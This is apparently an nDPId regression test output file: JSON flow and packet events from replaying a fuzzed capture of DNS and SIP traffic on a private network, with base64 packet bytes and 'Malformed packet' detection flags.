+00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":382,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1120470344560,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2773,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":382,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1120470356585,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470356,"pkt_ts_usec":585263,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIavkAAIARTFjAqAECwKgBAQrWADUANFcM0uIBAAABAAAAAAAABF9zaXAEX3VkcANzaXBpY3liZXJjaXR5AmJrAAAhAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":382,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1120470356585,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":144,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470357,"pkt_ts_usec":579070,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIavoAAIARTFfAqAECwKgBAQrWADUANFcM0uIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":383,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":2,"flow_first_seen":1120470356585,"flow_last_seen":1120470357579,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":144,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470359,"pkt_ts_usec":581956,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADTdAODtAW69CABFSQBIavMAAIARTFbAqAECwKgBAQrWADUANFcM0uIBAAABAAAAAAAABF9zaXAEX3VkcAxzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":384,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":3,"flow_first_seen":1120470356585,"flow_last_seen":1120470359581,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":385,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1120470361584,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.9.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470361,"pkt_ts_usec":584807,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUAEtWAODtAW69CABFAABIavwAAIARTFXAqAkCwKgBAQrWADUANFcM2uIBAAAAAAAAJXMABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":144,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470365,"pkt_ts_usec":590672,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIav0AAIARTFTAqAECwKgBAQrWADUANFcM0uIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":386,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":4,"flow_first_seen":1120470356585,"flow_last_seen":1120470365590,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00658{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":387,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1120470361584,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.9.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":387,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1120470361584,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.9.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":387,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1120470373592,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2775,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470373,"pkt_ts_usec":592474,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEav4AAIARTFfAqAECwKgBAQrXADUAMHoFquIAAAABAAAAAAAIATEBMAEwAzEyNwdpbi1hUWSWBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":387,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1120470373592,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2775,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-aqd_.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":146,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470373,"pkt_ts_usec":593968,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CtcAR1yBquKAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":388,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":2,"flow_first_seen":1120470373592,"flow_last_seen":1120470373593,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2775,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":390,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1120470385615,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470385,"pkt_ts_usec":615843,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIawQAAIARTE3AqAECwKgBAQrYADUANPsJLuMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":390,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1120470385615,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":147,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470386,"pkt_ts_usec":610998,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIawUAAKARTEzAqAECwKgBAQrYADUANEcJLuMBAAABAAAAAAAABV9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":391,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":2,"flow_first_seen":1120470385615,"flow_last_seen":1120470386610,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":392,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470388,"pkt_ts_usec":613748,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADSqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":392,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00467{"flow_id":147,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470390,"pkt_ts_usec":616811,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIawsAAIARTEbAqAECwKgBAQrYADUANPsJLuMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":393,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":3,"flow_first_seen":1120470385615,"flow_last_seen":1120470390616,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":147,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470394,"pkt_ts_usec":622318,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIayAAAIARTDHAqAECwKgBAQrYADUANPsJLuMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":397,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470399,"pkt_ts_usec":719608,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOazwAJXMASxHAqAECwKgB\/wD+AIkAOltshS8BFAABAAAAAAAAIEVGRURFSkZQRUVFUEVOJXMASkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":397,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":398,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1120470402624,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.33.2","dst_ip":"192.168.1.1","src_port":2782,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470402,"pkt_ts_usec":624214,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEaz0AAIARTBjAqCECwKgBAQreADUAMNT8T+QAAAABAAAAAAAAQTEBMAEwAzEyNwdpbi1hZGQgBGFycGEAAAwAAQ=="} +00661{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":398,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1120470402624,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.33.2","dst_ip":"192.168.1.1","src_port":2782,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":399,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1120470402625,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2782,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":149,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470402,"pkt_ts_usec":625817,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AeDtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1Ct4AR7d4T+SAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":399,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1120470402625,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2782,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":400,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1120470402627,"flow_last_seen":0,"flow_tot_l4_data_len":13,"flow_min_l4_data_len":13,"flow_max_l4_data_len":13,"flow_avg_l4_data_len":13,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00415{"flow_id":150,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470402,"pkt_ts_usec":627133,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":47,"pkt_l4_len":13,"pkt":"ADBUADRWAODtAW69CABFAAAhaz4AAIARF87AqAEG1PIhIxPEE8QADcBLICAgICA="} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":401,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470407,"pkt_ts_usec":625543,"pkt_caplen":60,"pkt_type":2566,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AODtAW5nADBUADRWCgYAAQgABgQAAQAwVAA0VsCoAQEAAAAAAADAqAECiGQRAPY3AArAIQkOAAjPO\/nN"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":401,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2566} +00515{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1120470402627,"flow_last_seen":0,"flow_tot_l4_data_len":13,"flow_min_l4_data_len":13,"flow_max_l4_data_len":13,"flow_avg_l4_data_len":13,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1120470402627,"flow_last_seen":0,"flow_tot_l4_data_len":13,"flow_min_l4_data_len":13,"flow_max_l4_data_len":13,"flow_avg_l4_data_len":13,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"212.242.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1120470402625,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2782,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1120470402624,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.33.2","dst_ip":"192.168.1.1","src_port":2782,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1120470414647,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":151,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470414,"pkt_ts_usec":647526,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa0oAAIARTAfAqAECwKgBAQrfADUANOABSeQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAQhAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":403,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1120470414647,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1057,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":151,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470415,"pkt_ts_usec":643049,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUJXMAAODtAW69CABFAABIa0sAAIARTAbAqAECwKgBAQrfADUANOABSeQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 